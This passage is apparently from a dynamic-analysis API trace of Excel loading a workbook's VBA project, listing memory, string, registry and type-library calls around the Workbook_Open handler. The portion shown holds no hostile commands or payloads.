pv=0xb629650) [0068.370] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb629650 [0068.370] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb627400 [0068.375] malloc (_Size=0xd) returned 0xc439110 [0068.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Sheet1", cchWideChar=-1, lpMultiByteStr=0xc439110, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sheet1", lpUsedDefaultChar=0x0) returned 7 [0068.375] lstrlenA (lpString="Sheet1") returned 6 [0068.375] lstrlenA (lpString="Sheet1") returned 6 [0068.375] lstrcatA (in: lpString1="Sheet1", lpString2=" (" | out: lpString1="Sheet1 (") returned="Sheet1 (" [0068.375] strncat_s (in: _Destination="Sheet1 (", _SizeInBytes=0x187, _Source="Sheet1", _MaxCount=0x28 | out: _Destination="Sheet1 (Sheet1") returned 0x0 [0068.375] lstrlenA (lpString="Sheet1") returned 6 [0068.375] lstrcatA (in: lpString1="Sheet1 (Sheet1", lpString2=")" | out: lpString1="Sheet1 (Sheet1)") returned="Sheet1 (Sheet1)" [0068.587] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xaf64bb0 [0068.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x17e5f0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0068.587] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x17e5f0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0068.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.602] IMalloc:Realloc (This=0x7fefecb5380, pv=0xaf64bb0, cb=0x62) returned 0xad43fc0 [0068.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x17eac0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0068.602] _mbscpy_s (in: _Dst=0x17e910, _DstSizeInBytes=0xe, _Src=0x4b22fc6 | out: _Dst=0x17e910) returned 0x0 [0068.602] _mbscpy_s (in: _Dst=0x17e919, _DstSizeInBytes=0x5, _Src=0x17eac0 | out: _Dst=0x17e919) returned 0x0 [0068.602] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0068.609] IUnknown:AddRef (This=0xb55fe10) returned 0x3 [0068.610] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0x17edf0 | out: phkResult=0x17edf0*=0xf6c) returned 0x0 [0068.610] RegQueryValueExA (in: hKey=0xf6c, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0x17ede8, lpcbData=0x17ede0*=0x4 | out: lpType=0x0, lpData=0x17ede8*=0x70, lpcbData=0x17ede0*=0x4) returned 0x2 [0068.610] RegCloseKey (hKey=0xf6c) returned 0x0 [0068.611] IUnknown:QueryInterface (in: This=0xb55fe10, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17ee98 | out: ppvObject=0x17ee98*=0x0) returned 0x80004002 [0068.611] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17ee88, pDummy=0x10 | out: ppTLibAttr=0x17ee88, pDummy=0x10) returned 0x0 [0068.611] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.611] IUnknown:Release (This=0xb55fe10) returned 0x2 [0068.611] IUnknown:AddRef (This=0xaeffda0) returned 0xb [0068.611] IUnknown:QueryInterface (in: This=0xaeffda0, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17ee98 | out: ppvObject=0x17ee98*=0x0) returned 0x80004002 [0068.611] ITypeLib:RemoteGetLibAttr (in: This=0xaeffda0, ppTLibAttr=0x17ee88, pDummy=0x10 | out: ppTLibAttr=0x17ee88, pDummy=0x10) returned 0x0 [0068.611] ITypeLib:LocalReleaseTLibAttr (This=0xaeffda0) returned 0x0 [0068.611] IUnknown:Release (This=0xaeffda0) returned 0xa [0068.611] IUnknown:AddRef (This=0xb5603b0) returned 0x4 [0068.612] IUnknown:QueryInterface (in: This=0xb5603b0, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17ee98 | out: ppvObject=0x17ee98*=0x0) returned 0x80004002 [0068.612] ITypeLib:RemoteGetLibAttr (in: This=0xb5603b0, ppTLibAttr=0x17ee88, pDummy=0x10 | out: ppTLibAttr=0x17ee88, pDummy=0x10) returned 0x0 [0068.612] ITypeLib:LocalReleaseTLibAttr (This=0xb5603b0) returned 0x0 [0068.612] IUnknown:Release (This=0xb5603b0) returned 0x3 [0068.612] IUnknown:AddRef (This=0xb560950) returned 0x2 [0068.612] IUnknown:QueryInterface (in: This=0xb560950, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17ee98 | out: ppvObject=0x17ee98*=0x0) returned 0x80004002 [0068.612] ITypeLib:RemoteGetLibAttr (in: This=0xb560950, ppTLibAttr=0x17ee88, pDummy=0x10 | out: ppTLibAttr=0x17ee88, pDummy=0x10) returned 0x0 [0068.612] ITypeLib:LocalReleaseTLibAttr (This=0xb560950) returned 0x0 [0068.612] IUnknown:Release (This=0xb560950) returned 0x1 [0068.612] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7c19f00 [0068.612] IMalloc:Free (This=0x7fefecb5380, pv=0x7c19f00) [0068.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x17e710, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0068.614] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x17e710, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0068.627] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.629] _mbscpy_s (in: _Dst=0x17e450, _DstSizeInBytes=0x2, _Src=0x4b22d7a | out: _Dst=0x17e450) returned 0x0 [0068.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="01603e78b2", cchWideChar=11, lpMultiByteStr=0x17ea20, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="01603e78b2", lpUsedDefaultChar=0x0) returned 11 [0068.630] GetLocalTime (in: lpSystemTime=0x17eb08 | out: lpSystemTime=0x17eb08*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0x1a, wHour=0x11, wMinute=0x29, wSecond=0x8, wMilliseconds=0x205)) [0068.630] _ultow_s (in: _Value=0x603e78b4, _Buffer=0xb62145c, _BufferCount=0x9, _Radix=16 | out: _Buffer="603e78b4") returned 0x0 [0068.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="03603e78b4", cchWideChar=11, lpMultiByteStr=0x17ea60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03603e78b4", lpUsedDefaultChar=0x0) returned 11 [0068.631] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0x7b40280 [0068.631] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xad55410 [0068.631] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xad554d0 [0068.631] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0x51c1010 [0068.631] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0x51bf200 [0068.631] IMalloc:Alloc (This=0x7fefecb5380, cb=0x810) returned 0xb1d4570 [0068.632] IMalloc:Free (This=0x7fefecb5380, pv=0xb1d4570) [0068.632] IMalloc:Alloc (This=0x7fefecb5380, cb=0x810) returned 0xb1d4570 [0068.632] IMalloc:Free (This=0x7fefecb5380, pv=0xb1d4570) [0068.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x17e8a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0068.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0068.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x17e4c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0068.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Workbook", cchWideChar=9, lpMultiByteStr=0x17e4c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workbook", lpUsedDefaultChar=0x0) returned 9 [0068.647] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22b16, cbMultiByte=14, lpWideCharStr=0x17e840, cchWideChar=28 | out: lpWideCharStr="Workbook_Open") returned 14 [0068.648] _mbscpy_s (in: _Dst=0x17e880, _DstSizeInBytes=0xe, _Src=0x4b22b16 | out: _Dst=0x17e880) returned 0x0 [0068.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Workbook") returned 0x10186b [0068.648] _mbscpy_s (in: _Dst=0x17e880, _DstSizeInBytes=0xe, _Src=0x17e889 | out: _Dst=0x17e880) returned 0x0 [0068.648] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0x60) returned 0xad44030 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb8) returned 0xad55350 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0x3d0) returned 0xb38a510 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2c10b0 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0x7c19f00 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0x7b3ddf0 [0068.648] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xaf64bb0 [0068.649] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xaf64720 [0068.649] IUnknown:AddRef (This=0xb55fe10) returned 0x3 [0068.649] IUnknown:QueryInterface (in: This=0xb55fe10, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17e700 | out: ppvObject=0x17e700*=0x0) returned 0x80004002 [0068.649] ITypeLib:GetTypeComp (in: This=0xb55fe10, ppTComp=0x17e6f8 | out: ppTComp=0x17e6f8*=0xb55fe20) returned 0x0 [0068.649] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0xb3e4410 [0068.649] IUnknown:AddRef (This=0xb55fe20) returned 0x5 [0068.649] IUnknown:Release (This=0xb55fe20) returned 0x4 [0068.649] IUnknown:Release (This=0xb55fe10) returned 0x3 [0068.649] IUnknown:AddRef (This=0xaeffda0) returned 0xc [0068.649] IUnknown:QueryInterface (in: This=0xaeffda0, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17e700 | out: ppvObject=0x17e700*=0x0) returned 0x80004002 [0068.649] ITypeLib:GetTypeComp (in: This=0xaeffda0, ppTComp=0x17e6f8 | out: ppTComp=0x17e6f8*=0xaeffdb0) returned 0x0 [0068.649] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0xb3e7250 [0068.650] IUnknown:AddRef (This=0xaeffdb0) returned 0xe [0068.650] IUnknown:Release (This=0xaeffdb0) returned 0xd [0068.650] IUnknown:Release (This=0xaeffda0) returned 0xc [0068.650] IUnknown:AddRef (This=0xb5603b0) returned 0x4 [0068.650] IUnknown:QueryInterface (in: This=0xb5603b0, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17e700 | out: ppvObject=0x17e700*=0x0) returned 0x80004002 [0068.650] ITypeLib:GetTypeComp (in: This=0xb5603b0, ppTComp=0x17e6f8 | out: ppTComp=0x17e6f8*=0xb5603c0) returned 0x0 [0068.650] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0xb3e6190 [0068.650] IUnknown:AddRef (This=0xb5603c0) returned 0x6 [0068.650] IUnknown:Release (This=0xb5603c0) returned 0x5 [0068.650] IUnknown:Release (This=0xb5603b0) returned 0x4 [0068.650] IUnknown:AddRef (This=0xb560950) returned 0x2 [0068.650] IUnknown:QueryInterface (in: This=0xb560950, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17e700 | out: ppvObject=0x17e700*=0x0) returned 0x80004002 [0068.650] ITypeLib:GetTypeComp (in: This=0xb560950, ppTComp=0x17e6f8 | out: ppTComp=0x17e6f8*=0xb560960) returned 0x0 [0068.650] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0xb3f1b10 [0068.650] IUnknown:AddRef (This=0xb560960) returned 0x4 [0068.650] IUnknown:Release (This=0xb560960) returned 0x3 [0068.650] IUnknown:Release (This=0xb560950) returned 0x2 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x38) returned 0xb3de1d0 [0068.671] IMalloc:Realloc (This=0x7fefecb5380, pv=0xad44030, cb=0x70) returned 0x7a314a0 [0068.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b21556, cbMultiByte=5, lpWideCharStr=0x17e590, cchWideChar=6 | out: lpWideCharStr="Open") returned 5 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x640) returned 0xafc3250 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2be890 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xb5e9900 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xb5e9910 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xb2c1500 [0068.671] IMalloc:Alloc (This=0x7fefecb5380, cb=0x80) returned 0x7b3dd60 [0068.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d56, cbMultiByte=2, lpWideCharStr=0x17e840, cchWideChar=4 | out: lpWideCharStr="i") returned 2 [0068.672] _mbscpy_s (in: _Dst=0x17e880, _DstSizeInBytes=0x2, _Src=0x4b22d56 | out: _Dst=0x17e880) returned 0x0 [0068.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22d7a, cbMultiByte=2, lpWideCharStr=0x17e840, cchWideChar=4 | out: lpWideCharStr="l") returned 2 [0068.672] _mbscpy_s (in: _Dst=0x17e880, _DstSizeInBytes=0x2, _Src=0x4b22d7a | out: _Dst=0x17e880) returned 0x0 [0068.672] CoCreateGuid (in: pguid=0x17ea40 | out: pguid=0x17ea40*(Data1=0x5568eb6d, Data2=0xce8c, Data3=0x4119, Data4=([0]=0xb0, [1]=0x9f, [2]=0xc9, [3]=0xd7, [4]=0x57, [5]=0x65, [6]=0xc7, [7]=0x55))) returned 0x0 [0068.673] CoCreateGuid (in: pguid=0x17ea40 | out: pguid=0x17ea40*(Data1=0xec7d5312, Data2=0x46ce, Data3=0x4f9a, Data4=([0]=0xb7, [1]=0x6a, [2]=0x24, [3]=0xb2, [4]=0x11, [5]=0xc5, [6]=0xfd, [7]=0x65))) returned 0x0 [0068.673] IMalloc:Alloc (This=0x7fefecb5380, cb=0x14) returned 0x7c0a580 [0068.673] IMalloc:Alloc (This=0x7fefecb5380, cb=0x50) returned 0x7cd7e90 [0068.673] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0068.673] IUnknown:AddRef (This=0xb55fe10) returned 0x4 [0068.673] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17e0a8, pDummy=0x0 | out: ppTLibAttr=0x17e0a8, pDummy=0x0) returned 0x0 [0068.673] ITypeLib:RemoteGetDocumentation (in: This=0xb55fe10, index=-1, refPtrFlags=0x17e0c0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x17e0e0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x17e0e0*=0x0) returned 0x0 [0068.673] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb581280 [0068.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x17e130, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLLï\n", lpUsedDefaultChar=0x0) returned 66 [0068.674] strcpy_s (in: _Dst=0xb0d7f80, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0068.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x17e240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0068.674] strcpy_s (in: _Dst=0xb0d7fd0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0068.674] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb5816d0 [0068.674] IUnknown:AddRef (This=0xb55fe10) returned 0x5 [0068.674] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.674] IUnknown:Release (This=0xb55fe10) returned 0x4 [0068.674] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 4 [0068.674] _wcsicmp (_String1="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 0 [0068.674] IUnknown:AddRef (This=0xaeffda0) returned 0xe [0068.674] ITypeLib:RemoteGetLibAttr (in: This=0xaeffda0, ppTLibAttr=0x17e0a8, pDummy=0x0 | out: ppTLibAttr=0x17e0a8, pDummy=0x0) returned 0x0 [0068.674] ITypeLib:RemoteGetDocumentation (in: This=0xaeffda0, index=-1, refPtrFlags=0x17e0c0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library", cchWideChar=57, lpMultiByteStr=0x17e130, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 57 [0068.675] strcpy_s (in: _Dst=0xb0d8040, _DstSize=0x3a, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE") returned 0x0 [0068.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x17e240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0068.675] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb5580 [0068.675] strcpy_s (in: _Dst=0xaeb55a8, _DstSize=0x6, _Src="Excel" | out: _Dst="Excel") returned 0x0 [0068.675] IUnknown:AddRef (This=0xaeffda0) returned 0xf [0068.675] ITypeLib:LocalReleaseTLibAttr (This=0xaeffda0) returned 0x0 [0068.675] IUnknown:Release (This=0xaeffda0) returned 0xe [0068.675] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0068.675] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned -4 [0068.676] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0068.676] IUnknown:AddRef (This=0xb5603b0) returned 0x5 [0068.676] ITypeLib:RemoteGetLibAttr (in: This=0xb5603b0, ppTLibAttr=0x17e0a8, pDummy=0x0 | out: ppTLibAttr=0x17e0a8, pDummy=0x0) returned 0x0 [0068.676] ITypeLib:RemoteGetDocumentation (in: This=0xb5603b0, index=-1, refPtrFlags=0x17e0c0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x17e130, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\EXCEL.EXE", lpUsedDefaultChar=0x0) returned 31 [0068.676] strcpy_s (in: _Dst=0xaeb5618, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0068.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x17e240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0068.676] strcpy_s (in: _Dst=0xaeb5640, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0068.678] IUnknown:AddRef (This=0xb5603b0) returned 0x6 [0068.678] ITypeLib:LocalReleaseTLibAttr (This=0xb5603b0) returned 0x0 [0068.678] IUnknown:Release (This=0xb5603b0) returned 0x5 [0068.678] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0068.678] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE#Microsoft Excel 16.0 Object Library") returned 2 [0068.678] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0068.679] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0068.679] IUnknown:AddRef (This=0xb560950) returned 0x3 [0068.679] ITypeLib:RemoteGetLibAttr (in: This=0xb560950, ppTLibAttr=0x17e0a8, pDummy=0x0 | out: ppTLibAttr=0x17e0a8, pDummy=0x0) returned 0x0 [0068.679] ITypeLib:RemoteGetDocumentation (in: This=0xb560950, index=-1, refPtrFlags=0x17e0c0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x17e130, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0068.679] strcpy_s (in: _Dst=0xaeb56b0, _DstSize=0x40, 